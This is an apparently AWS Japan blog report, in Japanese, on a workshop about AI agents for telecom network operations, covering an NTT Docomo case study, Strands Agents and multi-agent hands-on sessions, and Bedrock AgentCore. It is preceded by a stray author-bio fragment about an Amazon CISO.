全体のセキュリティエンジニアリングと運用を統括しています。彼のミッションは、セキュリティのメリットを最も抵抗の少ない道にすることで、Amazon のビジネスを支援することです。2007 年 12 月に Amazon に入社し、Consumer CISO、直近では AWS CISO など様々な役職を歴任した後、2023 年 9 月に Amazon Integrated Security の CISO に就任しました。 Amazon 入社前は、連邦捜査局 (FBI) サイバー部門でコンピュータおよびネットワーク侵入の技術分析を統括していました。また、空軍特別捜査局 (AFOSI) の特別捜査官としても勤務しました。今日のセキュリティ業界の基盤となるいくつかのコンピュータ侵入捜査を主導しました。 コンピュータサイエンスと刑事司法の学位を持ち、現役の SRO GT America GT2 レースカードライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

通信業界のネットワーク運用ではより安定した通信ネットワークを提供するために、障害の検知、要因特定、復旧を早期に対応する必要があります。一方で、近年拡張し複雑化し続けるネットワークに追従することは従来のオペレーションでは難しく、自動化、高度化、自律化が求められています。その実現手段の1つとして、AI エージェントとデータ活用が注目されており、導入への期待が高まる一方で、AI を適用する運用ユースケースの策定、より簡単な AI エージェントの実装方法、商用運用への本格導入、といった課題があります。そこで、本ワークショップでは、通信ネットワークの運用に携わる方向けに、 AI エージェントの仕組みを学び、参考アーキテクチャや事例から最新動向を知り、ハンズオンでより具体的な実装方法を学び、ネットワーク運用 AI エージェントを触って体感していただく場を提供しました。事例紹介の 1 つとして、株式会社 NTTドコモにご登壇いただきました。また、複数社による同じネットワーク運用に携わる者同士の意見交換や AI エージェント活用のためのユースケース議論を行っていただくことで、他社動向や自社の課題を浮き彫りにし、今後のアクションの参考にしていただく場も提供しました。通信ネットワーク運用に特化した業界横断イベントは、今回初めてであり今後も定期的に開催していきたいと思います。 早朝から 96 名/ 14 社のお客様に目黒オフィスまで足を運んでいただき、懇親会まで含めて大盛況なイベントとなりました。ご参加いただきました皆様、本当にありがとうございました！！ アジェンダ タイトル スピーカー 資料 AI エージェント とは – Autonomous Network の実現のために 宮崎 友貴*1 ダウンロード Strands Agents ハンズオン – AI エージェント開発を簡素化しよう 神谷 拳四郎*1 ダウンロード ランチタイム ユースケース議論 宮崎 友貴 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 堀場 勝広*2 ダウンロード Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 川岸 基成*1 ダウンロード クロージング 宮崎 友貴 ダウンロード 懇親会 – – ※1. Solutions Architect, ※2. Principal Solutions Architect AI エージェント とは – Autonomous Network 実現のために 通信業界のオペレーション標準化団体である TM Forum では、 Autonomous Network (自律ネットワーク）の自律レベルを定義しており、 近年、多くの通信事業者が L4 (高度自律ネットワーク) / L5 (完全自律ネットワーク) を目指す動きが出てきています。それを実現するためのコンポーネントの例と AWS で実現する参考アーキテクチャをご紹介しました。このアーキテクチャのキーは、AI エージェント × データであり、Autonomous Network の実現には必須要素であることをお伝えしました。そして、AI エージェントが自律的な行動を行うことができるようになった基礎技術や変遷と共に、オペレーション業務に携わるオペレータと近い動きができることを説明しました。最後に、AI エージェントの活用事例とネットワーク運用における AI エージェントの 参考ユースケース をご紹介することで、最新の業界動向と AI エージェントによる自律運用が実現可能な世界であることをインフルエンスさせていただきました。 宮崎 友貴 Solutions Architect NTTドコモ 「さらば、単純作業！AWSで実現する、”人間が人間らしく働く”ためのネットワーク運用自動化」の事例紹介 AI エージェントを使ったネットワーク運用自動化の事例として、NTTドコモ の舟山空良氏と福嶋章悟氏にご登壇いただきました。両氏は、モバイル端末と MEC 基盤を直結して通信経路を最適化することで、低遅延・高セキュリティ通信を実現するサービス docomo MEC® のオプションであるサービス「MECダイレクト®」 の開発・構築・運用を担当しており、定義済みのフローによる運用の自動化がある程度完了したことで、さなる自動化を目指し、AI の活用に挑戦しました。 株式会社 NTTドコモ 舟山 空良氏（写真左） 福嶋 章悟氏（写真右） 登壇時点では、AI エージェントによる監視措置業務の自律的な実行を実現し、アラート受信、分析、措置手順の提案までの自動化を達成され、そのソリューションとして Amazon Bedrock エージェント を使用していることをご説明いただきました (以下、システム構成図)。Bedrock エージェントの選定の理由としては、マネージドかつサーバーレスなためインフラの構築に時間をかけず迅速な開発を行うことができた点や、社内のセキュリティ承認を得るためのデータプライバシーの観点で Bedrock ではデータをモデルの学習にはしない点が評価されました。 実際の AI エージェントの開発では、参照するデータを泥臭く時間をかけて整備し、プロンプトを工夫することが精度向上には必要であることや、AI に完璧さを求めないこと、がリアルな実装のポイントとして挙げられました。将来的には、LLM 適用による維持管理業務への AI エージェントの適用を行い、AI エージェントの適用領域のさらなる拡張を進め、自律レベルの向上を目指しています。 Strands Agents ハンズオン – AI エージェント開発を簡素化しよう Autonomous Network 実現の核となる AI エージェント、それをわずか数行のコードで構築可能なオープンソース SDK である Strands Agents をご紹介しました。Strands Agents はシンプルな実装だけでなく、本番稼働に対応するためのオブザーバビリティ、モデルプロバイダーやデプロイ環境に依存しない設計思想、データを保護しながら責任を持ってエージェントを実行することを最優先とするなどの特徴があります。本パートでは実際に SDK を使って AI エージェントを構築し、Strands Agents における主要な概念と機能を探索するハンズオンを行いました。 神谷 拳四郎 Solutions Architect Autonomous Network の自律レベル向上を目指していくにあたっては、単一の AI エージェントによるタスク処理だけではなく、マルチエージェントによる協調の必要性が高まってくるでしょう。異なるスキルやモダリティをもつ、複数の専門化された AI エージェントを効果的に組み合わせるデザインパターンとして Agents as Tools、Swarm、Graph、Workflow の4つをご紹介しました。 運用業務における AI エージェントのユースケース議論 本イベントは、複数社の運用担当者にご参加いただいたので、各社混合のグループディスカッションを AWS 社員も交えて実施いただきました。議論テーマは、以下です。各社、自担当の業務をご紹介いただき、どのような業務を AI エージェントに任せられるのか、を議論いただきました。AI エージェントに任せられる業務としては、調査、分析、切り分け、オペレータの支援、ドキュメント作成、オペレーションの記録、ネットワークのエッジ側での操作、などが挙げられ、任せられない業務としては、サービス影響の出る可能性のあるオペレーションの実行、顧客対応や社内調整など対人コミュニケーション関連の業務が挙げられました。各社の AI 活用状況や運用の現場における課題の共有、活発な意見交換が行われました。 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 本セッションでは、「実際に触って、動かして、理解して、そして、考えてみよう」というコンセプトに、通信ネットワーク運用における AI エージェント活用の実践的なハンズオンを実施しました。参加者の皆様には、通信ネットワークの保守運用者の立場で、数千台以上の装置で構成されるトランスポート～基地局 NW 網を管理し、毎日数万件以上のアラームが発生する環境で AI エージェントを活用したネットワーク運用を体験いただきました。 堀場 勝広 Solutions Architect ハンズオンの技術アーキテクチャ 本ハンズオンでは、AWS の複数のサービスを統合した実践的な環境を構築しました。データストア層として、 Amazon Neptune をグラフ DB とベクトル DB の両方で活用し、ネットワークトポロジデータとエージェント用の知識ベースを格納しました。また、 Amazon Aurora (RDB) にはネットワークトポロジとアラーム情報を、 Amazon S3 ストレージには保守運用マニュアルや対応手順書を格納しました。 AI処理層では、Amazon Bedrock が提供する大規模言語モデル（LLM）を基盤として、複数の専用 AI エージェントを配置しました。Orchestration エージェント（全体調整）、Observability （分析）エージェント、ナレッジエージェント、チケット管理エージェント、そしてRCA （根本原因分析）エージェントが連携し、包括的なネットワーク運用支援を実現しています。さらに、外部システムとして ServiceNow ITSM と連携し、インシデントチケットの管理も可能にしました。 実践的な対話シナリオ 参加者の皆様には、AI エージェントとの対話を通じて、以下のような実践的なシナリオを体験いただきました。 ナレッジベースへのアクセス：「網内の装置にて IF 品質異常発⽣(流⼊ error )が発⽣した場合どう対処すべきか？」といった質問を通じて、保守運用マニュアルから必要な情報を即座に取得する体験をしていただきました。 アラームの分析：「 2024-0713-0900 前後 30 分間に埼玉エリアで発生したアラームから、発生していたネットワーク障害の内容をまとめて下さい」といった時系列での障害分析や、計画作業との関係性分析を実施しました。 トポロジの分析：アラーム情報とネットワークトポロジ情報を組み合わせることで、障害の根本的な原因を特定する高度な分析を体験いただきました。さらに、マニュアルに沿った対応として、「根本的な原因を解決するために必要な処理は何ですか？保守運用マニュアルに従って回答して下さい」という質問を通じて、AI エージェントが適切な対応手順を提示する様子を確認しました。 最後にチケットの起票：「障害の概要、根本原因の分析結果、対応手順を取りまとめて ServiceNow にチケット起票」と言う依頼を通じて、AI エージェントが一連の対応を外部システム( ServiceNow )に書き込み可能なことをご確認いただきました。 システムの内部構造を探る – 応用編 ハンズオンの後半では、Jupyter Notebook を使用して AI エージェントの動作をカスタマイズし、パラメータ調整による応答内容の最適化を体験いただきました。例えば、マルチエージェント構成のオーケストレーターエージェントのシステムプロンプトを変更することにより、他のエージェントの呼び出し方の変化を体験いただきました。これにより、AI エージェントが単なるブラックボックスではなく、調整可能なシステムであることを実感していただけたと考えています。 ハンズオンを経験した上でのユースケース議論 ワークショップの後半 60 分間では、グループに分かれて AI エージェントの活用方法を議論しました。参加者の皆様には、以下の5つの質問を軸に、自担当でのオペレーション業務の洗い出しから、AI エージェントに任せられる業務と任せられない業務の仕分け、その判断基準の検討、必要なデータと指示（プロンプト）の検討、そして実際の AI エージェントアーキテクチャの設計まで、包括的なディスカッションを行っていただきました。このグループワークを通じて、AI が単なるツールではなく、ネットワーク運用を変革する可能性を持つことを体感いただけたと考えています。特に、どの業務を AI に委譲できるか、どこで人間の判断が必要かという議論は、実際の業務への適用を考える上で非常に重要な示唆を与えるものとなりました。 Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 続いては、AI エージェントを大規模かつ安全に構築、デプロイ、運用するためのビルディングブロック Amazon Bedrock AgentCore についてのセッションです。これまでのセッションで Strands Agents を利用したエージェントを作りました。このエージェントを本番環境で運用するには、リクエスト増減に合わせてさばけるスケーラブルなコンピューティング環境、認証認可の仕組み、会話履歴などを管理する記憶領域、ツールへの接続と管理、などを考慮する必要があります。これらの課題解決に役立つのが Amazon Bedrock AgentCore であることをお伝えしました。 川岸 基成 Solutions Architect 通信ネットワーク運用というワークロードに当てはめた際の使い方や価値についてもお伝えしました。例えば、機密性の高いNW運用ワークロードでは、Runtime のセッション分離のセキュアな環境が役立つでしょう。AI Agent とのやり取りの中で発見されたインシデントパターン、解決戦略などのナレッジを Memory に蓄積・活用していくことで、より精度を高められる可能性があります。 クロージング 最後に、ワークショップ全体の振り返りながら、AI エージェントを導入するには、AI エージェントに加えてユースケースに応じたオペレーションデータを活用することが必須であることを改めて伝えさせていただきました。また、その実現に向けて AWS がどのように貢献をすることができるか、について、サービスとしてのメリットだけではなく、豊富な事例やネットワーク運用を理解した支援が可能である点をお伝えしました。本ワークショップはその支援の一つであり、ネットワーク運用に携わる方にとってより実用的な内容だったかと思います。 おわりに 本記事では、「通信ネットワーク運用向け AI エージェントワークショップ」についてレポートしました。参加頂いたお客様からは「AI エージェントの現場への導入へのイメージの確度が高めることができた」「やれる気がしてきた」「他社他部署の運用保守に携わる方と交流できた貴重な時間」「Amazon Bedrock AgentCore がサーバレスなので運用がとても楽になる」などのご評価を頂きました。ご参加頂いた皆様、本当にありがとうございました。頂いたフィードバックをもとに改善を重ねて参ります。また、ネットワークの運用 AI エージェントの導入に向けて、本内容が少しでも皆様の業務のお役に立てば幸いです。 著者 宮崎 友貴 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 神谷 拳四郎 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 川岸 基成 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 堀場 勝広 アマゾン ウェブ サービス ジャパン合同会社 Telecom Industry Business Unit プリンシパルソリューションアーキテクト